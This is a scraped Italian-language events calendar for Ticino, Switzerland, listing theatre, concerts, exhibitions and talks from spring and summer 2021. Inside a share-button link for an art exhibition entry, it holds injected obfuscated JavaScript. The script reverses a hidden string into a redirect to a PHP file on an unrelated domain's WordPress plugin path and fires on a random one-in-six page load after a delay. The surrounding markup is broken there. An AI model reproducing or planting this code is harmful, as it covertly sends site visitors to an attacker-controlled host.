Musiche dal vivo di Roberto Albin
Produzione e.s.teatro Lugano

lu31 maggio ’21 / h 20:00
Teatro Foce, Lugano.
TUTTO E NIENTE. DELIRIO COLLETTIVO
Spettacolo di fine anno degli allievi
i microattori

Corsi di teatro per ragazzi
ma1 giugno ’21 / h 19:00
Teatro Foce, Lugano. Rassegna HOME-SOLOinscena
SOLOcon DINO BUZZATI
Recital
dai racconti di Dino Buzzati
Con Emanuele Santoro
Musiche dal vivo di Claudia Klinzing
Produzione e.s.teatro Lugano

ma27 luglio ’21 / h 20:30
Parco Ciani Lugano. Rassegna SOLOinscena-LongLake festival 2021
SOLOcon DON CHISCIOTTE
Recital
da Miguel de Cervantes
Adattamento di Emanuele Santoro
Con Emanuele Santoro e Roberto Albin
Musiche dal vivo di Claudia Klinzing
Produzione e.s.teatro Lugano

e.s.teatro
c/o Associazione Amélie
via Ceresio 43
Ch-6963 Lugano
0919222200
0793372052
e.s.teatro@ilcortile.ch
ilcortile.ch

Apr
27
Mar
TEATRO SOCIALE BELLINZONA, IL PROGRAMMA DAL 27 APRILE AL 5 GIUGNO @ Bellinzona
Apr 27–Giu 5 giorno intero

Il Teatro Sociale Bellinzona ha definito il nuovo calendario per la ripresa, che è anche già il finale di stagione, dal 27 aprile al 5 giugno. Esso comprende 11 titoli. Data la forte limitazione del numero di spettatori ammessi in sala si è purtroppo dovuto annullare alcuni degli spettacoli programmati nello stesso periodo. In compenso è stato possibile riprogrammarne altri che negli scorsi mesi non hanno potuto avere luogo. Di seguito tutti gli eventi in programma:

martedì 27 aprile 2021, ore 20.45 (spettacolo gratuito)
IL DOLORE
di Marguerite Duras / regia Margherita Saltamacchia, prod. Teatro Sociale Bellinzona

lunedì 3 maggio 2021, ore 20.45
KISS! (LOVING KILLS)
di Camilla Parini / Collettivo Treppenwitz

giovedì 6 maggio 2021, ore 20.45
DANSONOGRAPHY (prima assoluta)
di e con Alessia Della Casa e con Kety Fusco (arpa)

sabato 8 maggio 2021, dalle 10.00 alle 13.00 (ingresso continuato e libero)
EXP: JE VOUDRAIS COMMENCER PAR SAUTER
di Francesca Sproccati

giovedì 13 maggio 2021, ore 20.45
GALLERIE (prima assoluta)
di Marino Cattaneo, con Pietro Aiani, Daniel Christen e Omar Zoboli

lunedì 17 maggio 2021, ore 20.45
martedì 18 maggio 2021, ore 18.30 e 20.45
mercoledì 19 maggio 2021, ore 18.30 e 20.45
BOOK IS A BOOK IS A BOOK
di Cristina Galbiati e Ilija Luginbühl / Trickster-p

venerdì 21 maggio 2021, ore 20.45
KARIMA
con Karima (voce) e Piero Frassi (pianoforte)

sabato 22 maggio 2021, ore 20.45
ANTONIO FARAÒ TRIO
con Antonio Faraò (pianoforte), Marco Ricci (contrabbasso) e Max Furian (batteria)

giovedì 27 maggio 2021, ore 20.45
WHITE RABBIT RED RABBIT
di Nassim Soleimanpour / con Margherita Saltamacchia

martedì 1 giugno 2021, ore 20.45
C’ERA UNA VOLTA LA TEMPESTA (prima assoluta)
di Flavio Stroppini / con Matteo Carassini

sabato 5 giugno 2021, ore 20.45 (attenzione: nuovo orario)
MAGGINI BIANCHI GALFETTI
“Omaggio a Dimitri” / canti e musiche popolari del Ticino

In considerazione della limitazione a 50 del numero massimo di spettatori ammessi agli eventi e dell’obbligo di mantenere le distanze fra i singoli spettatori i posti in sala saranno assegnati direttamente in teatro. I biglietti già venduti per una data precedente dello stesso evento mantengono la loro validità anche per la nuova data ma non garantiscono la disponibilità del posto indicato. Per ogni spettacolo sono disponibili soltanto posti di prima categoria.

TUTTI GLI ALTRI EVENTI SONO ANNULLATI

Sono annullati tutti gli altri eventi che erano programmati nello stesso periodo (o perché originariamente previsti in questo periodo o perché già rinviati dai mesi precedenti). Per tutti questi eventi il rimborso deve essere richiesto entro il 30 giugno 2021 presso lo stesso punto vendita in cui il biglietto è stato acquistato. Questo termine di rimborso vale soltanto per i seguenti titoli:

– La vedova Socrate
– Romeo e Giulietta
– Die Panne

– Ambrogio Sparagna & Orchestra Popolare Italiana
– Dizionario Balasso
– Le verità di Bakersfield
– Il fondo del sacco
– La città
– La menzogna
– Una musica da Oscar

Per tutti gli altri eventi del programma 2020-21 che erano già stati annullati in precedenza il termine di rimborso scade il 30 aprile 2021.

PRENOTAZIONI E INFORMAZIONI

Per prenotazioni e per ogni informazione la responsabile della nostra biglietteria Nadine Sieber e le sue colleghe sono a disposizione allo sportello dell’Ufficio turistico di Bellinzona, palazzo municipale, aperto dal lunedì al venerdì dalle 9 alle 12 e dalle 13.30 alle 17 e al sabato dalle 9 alle 12. La consulenza telefonica è in funzione dal lunedì al venerdì dalle 13.30 alle 17.00 e al sabato dalle 10 alle 12 al numero 091 825 48 18.

Per ogni informazione sulla nostra programmazione vi rinviamo al nostro sito:
http://teatrosociale.ch/

Mag
1
Sab
UN PAPÀ DA SOGNO, CONCORSO FOTOGRAFICO GRUPPO PARROCCHIALE ENTRO IL 22 MAGGIO 2021 @ TUTTI
Mag 1–Mag 22 giorno intero
Mag
4
Mar
Katia Mandelli Ghidini “Carta-carta-carta” alla 9m2 gallery fino a settembre 2021 @ Lugano/Pregassona
Mag 4–Ago 31 giorno intero
andelli Ghidini “Carta-carta-carta” alla 9m2 gallery fino a settembre 2021&url=https://www.eticinforma.ch/evento/katia-mandelli Ghidini “Carta-carta-carta” alla 9m2 gallery fino a settembre 2021" target="_blank" title="Share to Reddit" class="s3-reddit hint--top">$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andelli Ghidini “Carta-carta-carta” alla 9m2 gallery fino a settembre 2021" target="_blank" title="Share to StumbleUpon" class="s3-stumbleupon hint--top">
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Katia ci presenta una carrellata dei suoi ultimi lavori. Partiamo dai disegni rappresentanti la natura e i fiori fino ad arrivare ai disegni geometrici, tutti creati durante il lockdown dello scorso anno, utilizzando a volte la carta da giornale, altre la carta da disegno. L’artista stessa ha inventato e ritagliato le forme che grazie alla tecnica gelli print e ai molteplici colori utilizzati e contrastanti tra loro rendono così particolari le opere. Sempre utilizzando questa tecnica, l’artista ha creato buste, segnalibri e opere di piccole dimensioni. Tutti pezzi unici.

A côté troviamo la carta fatta a mano ecologica e riciclata. Le creazioni di Katia che troviamo in questa esposizione sono molteplici: dai fogli di carta fatta a mano in maniera artigianale ai segnalibri, alle buste, ai quaderni rilegati a mano fino ad arrivare ai porta oggetti creati con il medesimo impasto al quale spesso l’artista aggiunge polvere color oro o coriandoli olografici. E come sorpresa troviamo anche la carta piantabile, fogli contenenti semi di fiori da piantare in vaso o direttamente nella terra. “Ogni volta che sono in atelier e creo la carta è come se fosse la prima volta. E’ difficile descrivere l’emozione che provo quando estraggo il telaio e formo il foglio. Il fatto di poter creare con le mie mani e dare nuova vita a vecchi giornali mi riempie di soddisfazione e di positività. Ci tengo molto a sottolineare che il mio metodo di creazione è ecologico: solo carta già utilizzata e acqua. E’ incredibile quanto semplice sia ma nel contempo quanto bello possa essere il risultato”. Queste le parole di una Katia… emozionata.

L’esposizione è visitabile nei seguenti giorni e orari: lu – ve 10 – 17.00 previo appuntamento mentre lo spazio espositivo è visibile 24h/24 7g/7 in Via Ceresio 30 a Lugano-Pregassona. E’ inoltre obbligatorio indossare la mascherina. Ulteriori informazioni sul sito della galleria oppure al link www.9m2.gallery/esposizioni e sulla pagina facebook www.facebook.com/9m2gallery

Mag
12
Mer
Jazz in Bess, mercoledì 12 maggio 2021, Ivano Torre in solo «FORESTA» @ Lugano-Besso
Mag 12@21:00

Ivano Torre, é un musicista, percussionista, compositore, insegnante di batteria, strumenti africani e ritmica ben noto al pubblico ticinese. Ivano abita il pianeta terra dal 1954, messo al mondo da padre siciliano e madre valtellinese. Subito attratto da tutto ciò che produce suono attraverso l’atto percussivo, ha mosso i primi passi in un complesso di musiche da ballo e rock. Rapito dalla pulsazione swingante del jazz e dai grandi batteristi di questa musica, si dedica intensamente allo studio della batteria e del tamburo, partecipando a vari seminari, oltre a lavorare per alcuni anni in una scuola di danza come percussionista

La maggior parte dei suoi lavori colgono spunto dalla natura e dal rapporto che l’uomo ha con essa.
Il suo primo lavoro in solo (1986) aveva per titolo semplicemente “percussioni”. Era musica immaginosa, ossia musica che ci proietta in un mondo di immagini mutevoli e fluide.
Il lavoro che presenterà in prima mondiale a Jazz in Bess il prossimo 12 maggio ha per titolo “Foresta” ed è un concerto per batteria, lamofono, campane, e voce, tutto rigorosamente naturale.

Circa 30 anni fa Ivano partecipava attivamente alla ricerca degli uccelli nel cantone, ascoltando il loro canto e tentando di ricavarne frasi ritmiche da poi sviluppare e suonare sulla batteria. Da lì lo ha sempre interessato il mondo degli animali, il loro canto, come urlano e come si muovono. Il suo suonare dietro ai tamburi è danza, divertimento, movimento, è flusso ed è un po’ come il mondo animale.
Egli utilizza questa caratteristica per diventare una specie di cantastorie con le percussioni, con alle spalle una folta ricerca delle sonorità “non convenzionali”.
Foresta è un viaggio nelle profondità umane, è una selva di suoni attraversata dalle figure animalesche più strane e imprevedibili.
Una miriade di ritmi che si rincorrono e si incrociano generando la foresta nella quale siamo immersi.

Lo avevamo già visto a Jazz in Bess in occasione di jam sessions, collaborazione ad un workshop con la pianista Katharina Weber nel 2012 e siamo felici di ospitarlo per la prima volta in una delle sue ben note proposte in solo.

Mag
13
Gio
Mostre Architettura che fa Scuola e Progetto e Profezia a Mendrisio il 13 maggio – 24 dic. 20212021 @ Mendrisio
Mag 13–Dic 24 giorno intero

Architettura che fa Scuola e Progetto e Profezia. Il Futuro secondo gli Architetti

Il Teatro dell’architettura Mendrisio dell’Università della Svizzera italiana ha il piacere di annunciare che il 12 maggio 2021 verranno inaugurate le mostre “Architettura che fa scuola” e “Progetto e Profezia. Il Futuro Secondo gli Architetti”. Le mostre sono state promosse in occasione delle celebrazioni del 25° dell’Università della Svizzera italiana.

L’ACCADEMIA DI ARCHITETTURA COMPIE 25 ANNI: DAL 1996 UNA SCUOLA PER I FUTURI ARCHITETTI

L’Accademia di architettura veniva fondata a Mendrisio nel 1996, come componente dell’Università della Svizzera italiana. La Scuola nasceva sulla base del progetto elaborato su incarico politico dall’architetto Mario Botta, che vi coinvolse un ristretto gruppo di studiosi e architetti, con l’appoggio del Consigliere di Stato Giuseppe Buffi, responsabile dell’educazione negli anni 1986-2000, e del sindaco di Mendrisio Carlo Croci. Il profilo la distingueva sensibilmente dai tradizionali Politecnici e dalle Scuole di architettura già esistenti in Svizzera. L’indirizzo culturale e pedagogico proposto si ispirava a una forte impronta umanistica, intesa come nuova sintesi tra saperi tecnici, scienze umane e sociali, tra competenze operative e pensiero critico e storico. Con questo spirito, che sin dal titolo di «Accademia» richiama le tradizioni umanistiche e alla correlata interdisciplinarità, la scuola di Mendrisio dichiara di voler giocare un ruolo di cerniera culturale tra mondo nordico e mediterraneo. Un ruolo che trova riscontro fedele nelle figure che ne hanno sviluppato il progetto e che ne avrebbero avviato le attività: studiosi come Werner Oechslin, William Curtis, Francesco Dal Co, Leonardo Benevolo, Kenneth Frampton e Carlo Bertelli, architetti quali Aurelio Galfetti (primo direttore della scuola), Peter Zumthor, Ignasi de Solà-Morales, Francesco Venezia, Elia Zenghelis, Esteban Bonell, filosofi come Massimo Cacciari, scienziati come Albert Jacquard, matematici come Alberto Albeverio, esperti d’arte come Harald Szeemann…

«Sin dai suoi inizi l’Accademia ha puntato sulla riscoperta e sul riscatto di nessi culturali che la specializzazione dei saperi e dei mestieri aveva messo in ombra. In primo luogo la spola fra cultura tecnica e cultura umanistica, non in quanto interdisciplinarità di maniera, ma come contaminatio nel senso latino del termine, e cioè mescolanza, rispecchiamento, convergenza, se non addirittura fusione.»

Salvatore Settis, storico dell’arte, Cattedra Borromini 2014-2015 dell’Accademia di architettura USI

Oggi l’Accademia di architettura è riconosciuta a livello internazionale e, con oltre 800 studenti iscritti e docenti provenienti da 40 differenti nazionalità, è diventata un luogo di scambio culturale particolarmente utile nel momento in cui la scuola deve formare nuove figure professionali e intellettuali pronte ad affrontare le sfide che gli sviluppi della Storia e la società indicano.

A 25 anni dalla sua fondazione l’Accademia è una facoltà di architettura di successo che promuove un modello didattico innovativo e interdisciplinare teso a formare giovani architetti “umanisti” e “generalisti”, come pure – da un anno – storici dell’arte e dell’architettura.

LE MOSTRE

Da giovedì 13 maggio 2021 fino a venerdì 24 dicembre 2021 aprono al pubblico, presso il Teatro dell’architettura Mendrisio, le mostre “Architettura che fa Scuola” e “Progetto e Profezia. Il Futuro secondo gli Architetti”, promosse dall’Accademia di architettura dell’Università della Svizzera italiana.

La mostra “Architettura che fa Scuola”, esposta nella Galleria al primo piano del Teatro dell’architettura Mendrisio, è dedicata al 25° dell’Accademia e alle attività didattiche della scuola. La formula del titolo gioca sul doppio senso che l’Accademia dell’USI è una scuola dove si insegna una nuova sensibilità disciplinare nell’ambito dell’architettura, degli studi urbani, della progettazione del paesaggio, e della storia dell’arte, ma dove al contempo ciò che viene insegnato vuole anche indirizzare e influenzare in modo significativo l’architettura del futuro.

La mostra illustra attraverso immagini, video, pubblicazioni e modelli architettonici la storia della didattica e delle produzioni culturali dell’Accademia di architettura dagli esordi fino ai nostri giorni.

Nella Galleria al secondo piano sarà allestita un’ampia sezione dal titolo “Progetto e Profezia. Il Futuro secondo gli Architetti”, che si riferisce ad un’idea di quel “futuro operativo” di cui gli architetti si fanno carico di volta in volta nella loro visione e previsione progettuale, e i cui fattori possono essere visionari o pragmatici, tecnologici o funzionali, morfologici ed estetici.

In occasione delle mostre sarà disponibile presso il Teatro dell’architettura Mendrisio il volume:

“Tracce di una scuola. Accademia di architettura a Mendrisio, 1996-2021” A cura di Mario Botta
Mendrisio Academy Press – Electa, Mendrisio-Milano 2021
416 pp., italiano/inglese
30 € / 30.-

IL TEATRO DELL’ARCHITETTURA A MENDRISIO

Il Teatro dell’architettura Mendrisio, sorto all’interno del Campus di Mendrisio dell’Università della Svizzera italiana, è stato progettato dall’arch. Mario Botta, promosso e realizzato grazie al lavoro congiunto dell’Università e della Fondazione Teatro dell’architettura, al fine di offrire uno spazio di dialogo privilegiato per il dibattito culturale sull’architettura, la città, il paesaggio.

Accanto all’attività didattica e di ricerca svolte all’interno dell’ateneo, questa iniziativa intende rafforzare l’offerta formativa con mostre, seminari e attività, per dare visibilità ai nuovi interessi transdisciplinari che sempre più intervengono nel processo progettuale e che ridefiniscono il ruolo sociale dell’architettura.

Il Teatro dell’architettura agisce anche come piattaforma di interscambio con altre istituzioni che hanno fatto delle istanze della cultura contemporanea il proprio campo di interesse.

Nel 2020 il Teatro dell’architettura Mendrisio, assieme al Museo Vincenzo Vela di Ligornetto, alla Pinacoteca Giovanni Züst di Rancate, al m.a.x. museo di Chiasso e al Museo d’arte Mendrisio, hanno attivato la rete dei Musei d’Arte del Mendrisiotto (MAM).

INFORMAZIONI

Architettura che fa Scuola

e
Progetto e Profezia. Il Futuro secondo gli Architetti

13 maggio 2021 – 24 dicembre 2021

Mostre promosse dall’Accademia di architettura – USI

Teatro dell’architettura Mendrisio

Via Turconi 25
6850 Mendrisio, Svizzera

• Informazioni sugli orari di apertura delle mostre: https://www.tam.usi.ch/it

• Informazioni sull’Accademia di architettura: http://www.arc.usi.ch/it

Celebrazioni del 25° dalla fondazione dell’Università della Svizzera italiana

• Informazioni su #USI25: www.usi25.usi.ch

• Informazioni su #facciamoconoscenza: https://www.usi25.usi.ch/temi/facciamo-conoscenza

Mag
15
Sab
Nina Dimitri e Silvana Gargiulo “Il Disastro” a Verscio, sabato, 15 maggio 2021, ore 20.30. @ Verscio
Mag 15@20:30

Nina Dimitri e Silvana Gargiulo “Il Disastro”

Sabato, 15 maggio 2021, ore 20.30.

Terza tappa di creazione del talentuoso duo comico tutto al femminile Dimitri/Gargiulo, lo spettacolo promette disastri, ricordi e naturalmente molte risate! La musica lascia il palco al teatro tragicomico, quello irresistibile, che sa conquistare il pubblico senza prendersi sul serio: in una serie di gag esilaranti, i ruoli delle due attrici si fondono e si confondono, la verità e la finzione perdono i confini e alla fine nulla sarà più come prima…

Per riservazioni: info@teatrodimitri.ch oppure 058 666 67 85 (da lunedì a venerdì, dalle 9.00 alle 12.00).

Vi ricordiamo che la terrazza del Ristorante Teatro Dimitri sarà aperta prima e dopo lo spettacolo.
Per prenotazioni: 058 666 67 88 oppure 058 666 67 80.

Mag
16
Dom
DOMENICA 16 maggio – GIORNATA INTERNAZIONALE DEI MUSEI – AL MUSEO VINCENZO VELA DI LIGORNETTO @ Ligornetto
Mag 16 giorno intero

DOMENICA 16 maggio – GIORNATA INTERNAZIONALE DEI MUSEI – AL MUSEO VINCENZO VELA UN PROGRAMMA IBRIDO IN PRESENZA E ONLINE
domenica 16 maggio, in occasione della Giornata Internazionale dei Musei, la nostra istituzione torna a festeggiare questa importante ricorrenza con un programma in forma ibrida, con eventi “in presenza” e diversi appuntamenti online.

Durante la giornata, oltre all’entrata gratuita al Museo, in programma visite guidate e passeggiate per il villaggio di Ligornetto sulle orme della famiglia Vela, nel rispetto delle misure sanitarie e comportamentali raccomandate dalle autorità.

Nelle sale del Museo saranno riproposte le video-letture dell’antologia in versi e in prosa Poeti per Vincenzo Vela. Non mancherà la musica, con una matinée alle ore 11.00, come nella tradizione del Museo benché questa volta in streaming. Il concerto, organizzato in collaborazione con gli amici di Musica nel Mendrisiotto, potrà essere seguito sui canali social delle due istituzioni e vuole essere un omaggio al nostro artista e al periodo storico da lui attraversato.

Da ultimo, ma non per ultimo, un progetto originale creato ad hoc per questa speciale Giornata insieme alla Rete MAM (Rete Musei d’arte del Mendrisiotto) che presenta brevi video di noti testimonial come l’attrice Gardi Hutter e Marco Solari, presidente del Locarno Film Festival.

Musei e collezioni
Museo Vincenzo Vela
Largo Vela
Casella Postale 8
CH-6853 Ligornetto
www.museo-vela.ch

Mag
18
Mar
VISITA GUIDATA GRATUITA RISERVATA ALLA POPOLAZIONE DELLA GRANDE MENDRISIO AALA PINACOTECA ZUEST IL 18 MAGGIO @ Rancate
Mag 18@20:30

DENTRO I PALAZZI
Uno sguardo sul collezionismo privato nella Lugano del Sette e Ottocento:
le quadrerie Riva

Martedì 18 maggio 2021, ore 20.30

Condotta da uno dei curatori della mostra, prof. Edoardo Agustoni

Iscrizione obbligatoria entro venerdì 14 maggio 2021:
decs-pinacoteca.zuest@ti.ch / 091 8164791
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Dalle intime stanze dei palazzi appartenuti all’aristocratica famiglia Riva, nella Lugano dell’epoca
dei balivi, sono giunti a Rancate oltre settanta dipinti. Tra di essi importanti pezzi di Giuseppe Antonio Petrini,di cui la famiglia Riva fu uno dei principali committenti, e di suo figlio Marco, insieme a una suggestiva selezione di suppellettili, argenterie, miniature, libri e documenti. Un’occasione imperdibile per ammirare dipinti e oggetti solitamente celati al pubblico e conservati un tempo nelle prestigiose dimore luganesi del casato (Santa Margherita, Canova, Cioccaro), ma anche per entrare nella storia del territorio ticinese e non solo.
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L’evento è organizzato in collaborazione con il Municipio di Mendrisio e si svolgerà nel rispetto delle vigenti norme contro il COVID-19.

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http://decs.news.ti.ch/link.php?M=211039&N=1337&L=5017&F=H

Mag
20
Gio
Inaugurazione restauro oratorio faidese San Bernardino da Siena il 20 maggio 2021
Mag 20@18:00
L’attimo, il numero, le stelle vicine INCONTRO CON MASSIMO GEZZI E MARCO BALZANO (Online, 20 maggio 2021) @ evento online
Mag 20@18:30

La Casa della Letteratura per la Svizzera italiana presenta
20 maggio 2021 – ore 18.30
-ONLINE su fb e YouTube (*)

L’attimo, il numero, le stelle vicine
INCONTRO CON MASSIMO GEZZI E MARCO BALZANO

Di fronte è il fil rouge degli incontri del 2021 proposti dalla Casa della Letteratura per la Svizzera italiana. Un di fronte che è immagine riflessa, realtà da affrontare, confronto, paura e crescita.

La poesia è sempre stata la lingua primaria per Massimo Gezzi, vincitore nel 2016 del Premio Svizzero di Letteratura. Una lingua alternata a saggi, talvolta a riviste oppure scritti critici di largo respiro, ma quando scrittura doveva essere, ecco la poesia.
Da tempo, però, e senza fare rumore, Gezzi ha lavorato a una serie di racconti pubblicati infine per Bollati Boringhieri col titolo “Le stelle vicine”.

Di questo nuovo sguardo Massimo Gezzi affronterà dubbi o certezze attraverso l’interrogazione di uno dei più importanti narratori nell’Italia contemporanea: Marco Balzano (che del libro firma anche la bandella). Nell’incontro si darà anche spazio alla lettura, fatta dall’attore ticinese Massimiliano Zampetti, di alcuni brani tratti dai suoi racconti

Protagonisti dei racconti sono uomini, donne, ragazze e ragazzi di provincia che vivono la loro vita quotidiana solo apparentemente banale o inerte. A mescolare le carte in tavola è infatti sufficiente che accada un ricordo, un incontro, un evento minimo: ecco allora che la normalità trasforma per diventare indimenticabile, ulteriore, definitive anche, che sia questo nel bene o nella tragedia. Le voci di Gezzi sono voci comuni eppure mai banali: sono affiliate, autentiche, affondano nell’immaginario e lo scavano, diventano l’immaginazione del lettore.
Un cambio di passo lo scrivere prosa anziché poesia; un cambio di scansione del mondo attorno e forse anche di tono. Ciò che non si perde è però l’acutezza e la lungimiranza, l’ascolto della vita in tutte le sue sfumature.

COME E DOVE ACCEDERE PER L’INCONTRO
Grazie alla regia web, l’evento sarà trasmesso online sulla pagina Facebook della Casa della Letteratura e in contemporanea sul nuovo canale YouTube. Nessuna iscrizione è richiesta. L’evento è gratuito.
La registrazione dell’incontro resterà disponibile sul sito e sui canali web della Casa.

(*) Ecco i link d’accesso:
fb @CasadellaLetteratura · Centro culturale
youtube https://www.youtube.com/channel/UCNt4c2ZwfkLa6rYSE1YtcSQ

Mag
21
Ven
Venerdì 21 maggio al Teatro di Minusio; World-trance con la band francese Lolomis @ Minusio
Mag 21@20:30
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L’evento è frutto di un progetto di collaborazione tra LocarnoFOLK e Osa!, annullato l’anno scorso, che ha trovato la giusta collocazione nella stagione culturale 2021 dell’Elisarion. È quindi un atteso concerto quello dei Lolomis. Programmato per la primavera 2020, era stato rimandato a causa della pandemia. Il gruppo francese doveva presentare il suo nuovo album allora fresco di stampa, “Red Sonja”. Eccolo finalmente in Ticino per il suo primo concerto dopo un anno di pausa forzata.
“Red Sonja” è ispirato all’omonima eroina, la guerriera barbara dai poteri soprannaturali, conosciuta soprattutto come personaggio di fumetti. I Lolomis si sono appropriati di questa figura “per ridare la parola a tutte coloro che troppo spesso l’hanno persa: guerriere del quotidiano scaraventate nel mondo dell’amore, della vita e della morte… eroine, sognatrici, seduttrici, sciamane…”.
Trance balcanica e poesia sonora, scura e sottile per la voce camaleontica: morbida accattivante, quasi rap che risponde alle linee di basso dell’arpa tirolese; ai flauti rinascimentali saturi, sostenuti dai ritmi ibridi delle percussioni. Con questi sortilegi dei tempi moderni, Lolomis trasforma i codici del pop con virtuosa malizia e raffinatezza, attingendo a varie influenze quali l’elettronica, la trance, il jazz, la musica antica e classica, l’improvvisazione, per creare un suono unico, sorprendente, ipnotico.

Lineup:
Romane Claudel Ferragui canto
Elodie Messmer arpa, synth
Stélios Lazarou flauti, synth
Louis Delignon percussioni, elettronica

Venerdì 21 maggio 2021, ore 20.30
Oratorio San Giovanni Bosco, Minusio
World-trance con i Lolomis (Francia)
Il concerto si terrà nel rispetto delle misure di protezione vigenti.
Posti limitati, prenotazione altamente consigliata!
info@elisarionminusio.ch / +41(0)79 592 44 07

Mag
26
Mer
MORBO DI PARKINSON E DI ALZHEIMER: il disturbo del sonno è un campanello d’allarme? Video conferenza 26 maggio 2021 @ videoconferenza
Mag 26@17:30–19:30

ESF – Fondazione Europea del Sonno
presenta
26 maggio 2021 – dalle 17:30 alle 19:15.
video conferenza in zoom, aperta al pubblico

MORBO DI PARKINSON E DI ALZHEIMER:
il disturbo del sonno è un campanello d’allarme?

Il Prof. Dr. med. Claudio Bassetti e gli esperti della Fondazione Europea del Sonno vi invitano all’evento pubblico in cui si discuterà l’interazione tra il disturbo del sonno e il morbo di Parkinson, o il morbo di Alzheimer , come pure della sindrome del tramonto nel paziente con demenza senile. Verranno in particolare esposte le nuove conoscenze nel campo diagnostico e terapeutico.
Sarà quindi interessante capire se e come i segnali legati a particolari disturbi del sonno possano far prevedere, con forte anticipo, l’eventuale sviluppo di queste malattie.

L’evento di mercoledì 26 maggio, dalle 17.30 alle 19.15 sarà in lingua italiana, e apre il “World Sleep Forum 2021 – Neurodegeneration and Sleep” (riservato invece a medici e tecnici) dei giorni 27, 28 e 29 maggio che vedrà il contributo di numerosi studiosi di rilevanza mondiale su queste tematiche.

L’iscrizione è gratuita e saranno benvenute le domande dal pubblico, per le modalità di partecipazione si veda al pdf invito allegato.

Il 26 maggio sono previsti questi interventi:
17.40 Sonno, demenza e Morbo di Alzheimer – Claudio Bassetti (CH) (Presidente del Consiglio di Fondazione ESF)
18.00 Sonno e Morbo di Parkinson – Luigi Ferini-Strambi (IT) (Membro del Consiglio di Fondazione ESF)
18.20 La sindrome del tramonto nel paziente con demenza senile – Mauro Manconi (CH) (Membro del Consiglio di Fondazione ESF)

Giu
2
Mer
Uso nocivo di farmaci e sostanze tra i giovani ¦ 2 giugno 2021 Zoom @ Piattaforma Zoom
Giu 2@20:00
Ago
19
Gio
Il Festival internazionale di narrazione di Arzo alla sua ventunesima edizione si svolgerà dal 19 al 22 agosto 2021 @ Arzo
Ago 19–Ago 22 giorno intero

Il Festival internazionale di narrazione di Arzo alla sua ventunesima edizione si svolgerà dal 19 al 22 agosto 2021 e sarà diffuso su Arzo, Tremona e Meride

Dopo un anno difficile è il momento di tornare a immaginare.
La prossima edizione del Festival di narrazione “Racconti di qui e d’altrove” si svolgerà dal 19 al 22 agosto 2021.

Nel 2021, dopo un anno di pausa forzata, il Festival torna con un’edizione particolare, che vuole conciliare il desiderio comune di tornare a teatro, dal vivo, con il rispetto di tutte le misure di tutela che la situazione attuale esige.
Durante le edizioni precedenti il generoso paese di Arzo ha sempre aperto le sue corti, i suoi giardini e la sua piazza, permettendo di creare bellezza, meraviglia e pensieri. Quest’anno avrà luogo un’edizione ancora più aperta sul territorio oltre che Arzo, gli spettacoli e gli incontri andranno in scena anche nei vicini paesi di Meride e Tremona.

Sarà così un “Festival diffuso”, dislocato e decentrato, che potrà raggiungere un numero maggiore di interlocutori e spettatori e, contemporaneamente, evitare un possibile assembramento in un unico spazio.
Questa nuova forma renderà possibile anche una maggiore visibilità e valorizzazione del territorio e delle sue tradizioni grazie al coinvolgimento delle varie realtà: protagonisti dell’evento saranno infatti tre paesi con i rispettivi abitanti, ristoranti, alberghi e imprese. Il radicamento sul territorio è un aspetto che ha sempre caratterizzato il Festival e che gli organizzatori hanno da subito promosso anche portando gli eventi culturali fuori dalle abituali strutture e proponendoli dentro quei luoghi che il turista di passaggio non vede necessariamente.
Nel corso delle edizioni ha così preso forma un evento culturale e artistico di grande valore sociale, teso a conciliare la cura del territorio con una spinta sempre più internazionale.

Il “Festival diffuso” del 2021 sarà un modo per amplificare quel pensiero da cui, vent’anni fa, è nato il Festival: stare e diffondersi sui territori, indagare la cultura che nasce dall’incontro di radici nostrane e mondi provenienti “d’altrove”, intercettare con le proprie storie grandi e piccini, curiosi e sognatori.

Per rimanere aggiornati sul Festival è possibile sottoscrivere la newsletter sul sito www.festivaldinarrazione.ch